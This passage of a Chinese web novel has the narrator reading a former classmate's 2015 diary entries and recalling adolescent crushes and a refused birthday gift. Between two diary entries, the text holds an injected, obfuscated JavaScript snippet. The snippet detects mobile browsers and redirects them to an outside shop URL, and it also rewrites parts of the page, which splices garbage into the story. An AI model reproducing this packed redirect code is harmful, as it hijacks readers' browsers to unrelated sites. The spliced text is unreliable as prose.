也就不难回忆起许枭有此困惑的缘由——深夜我追剧追得嗷嗷叫,当即发送朋友圈一条,具体原文有点忘了,总之就是尖叫+大量表情+质问老天为什么何以琛如此之帅。 那时我倒没有对他的脸有那么大感觉,只是小小年纪情窦初开,很快确立了他这样的男人就是我未来要拥有的男人。 要专一,要长情,要等七年坚持不将就;要不问过去,包容一切,要无条件地接纳。 后来我见到了更多身边人真实的恋爱,才逐渐明白所谓的不将就和无条件只是电视剧演给我看的一场美梦。 也许世上真有千万分之一的人能得到,但不是我。也许22岁前的那个我真的能顺理成章地得到——那毕竟是一个意气风发、无所不能的秋飒——但不是现在的我。 被那年的噩耗顷刻摧毁的不仅是斗志昂扬的我,还有对爱情的幼稚幻梦。最难的日子我甚至半开玩笑地在微博小号感慨“有时候真想找个有钱人嫁了”,尽管很大程度上只是当作抱怨和玩梗,少女心事的湮灭却是真的。 这两行字多少带我找回了点初中时的心情——寒假能看电视剧就欢天喜地,言情小说被老师收了就哭天抢地。 一想到那时还有个许枭正暗暗偷窥着我的朋友圈,一时求神拜佛要和我去一个高中,一时速刷何以笙箫默试图摸透我的理想型,便觉心里又舒坦了点。 看来小时候的秋飒远比我想象中更受人喜欢,即使是冷脸面瘫阴险狡诈的许枭也无法抵抗我的魅力! 可惜接下来的几天都写得云里雾里,让人摸不着头脑。 【2015.2.27】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372666|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么提升文笔?】 都初三了才开始想着提升文笔?以为半年冲刺能抵得上我从小积累的巨大阅读量吗? 我把话放这了,根本就没有快速提升文笔让他能在作文分数上有望追上我的办法。 【2015.2.28】 【如果明天早上是妈妈叫我起床就给她,如果是爸爸叫我起床就打听一下再给她。】 给我什么了? 我遍寻记忆,想不出他给我送过什么东西。但凡送过个礼物和花一类的,我也不至于坚信他讨厌我至今。 【2015.3.1】 【明天再让高阳打听最后一次。】 高阳? 这我倒是知道。和许枭不同,这位是光明正大地暗恋我。听起来光明正大和暗恋好像格格不入,但在他身上确实做到了有机统一。 他是个不太爱凑热闹的人,大部分时候都坐在位置上默默做自己的事,和我这边总是吵嚷嚷的氛围形成鲜明对比。 然而越过横亘在教室中央的、无形的那道动与静的鸿沟,他的视线总遥遥地落在我身上。每当我察觉到那边有道灼热的视线,扭头看去,便会看见他慌乱地把视线移开。 如果仅仅如此就算了,可谁让我还有林嘉昱这样消息灵通的小弟。 “他在到处打听你过不过阳历生日呢!据说问了生日还不够,还问你有没有什么喜欢的东西……” “真的假的?”我非常重视事态的真实性,令林嘉昱再三确认。 林嘉昱义正辞严地向我担保:“这能有假?我的消息你还信不过吗?” “又是问生日,又是问什么东西,肯定是要送生日礼物吧。他跟咱们又不一起玩,没事给你送生日礼物干什么?” 张佳抢答:“还能干什么?暗恋你呗——” 于是他们起哄、怪笑,我们闹作一团,像发现了什么新奇的好玩事物。 “你有没有什么想要的东西?需要我放出消息吗?”林嘉昱尽职尽责地追问。 这个主意更缺德,我们也就闹得更大声。 混乱之中,谢秋阳蹙紧了眉头:“这不好吧?” 她很认真地小声劝我:“你要是不喜欢他,就跟他说清楚。这都快初三了,万一他摸不清你什么想法,心烦意乱影响学习怎么办?” 谢秋阳就是这样,有着朴素的正义观和直言不讳的习惯。 我也小声回答她:“你放心吧,我知道的。我又不是林嘉昱。” 所以在高阳最终打听到了我本人这里,羞涩地问我有没有想要的生日礼物时,我十分严肃地回绝了他。 “不用送我生日礼物,我对你没有同学以外的想法。马上就要初三了,这是人生的重要阶段,请你以学业为重!” 他当时便神情古怪,面色一阵变换后,不死心地追问:“那你对别人有同学以外的想法吗?” “目前没有,”我仍很实诚地答,“不过我以后应该也不会喜欢你,你不是我喜欢的款。尽早放弃吧,我会祝福你的!” “我没有喜欢你。”他嘴硬地挣扎。 如此无力。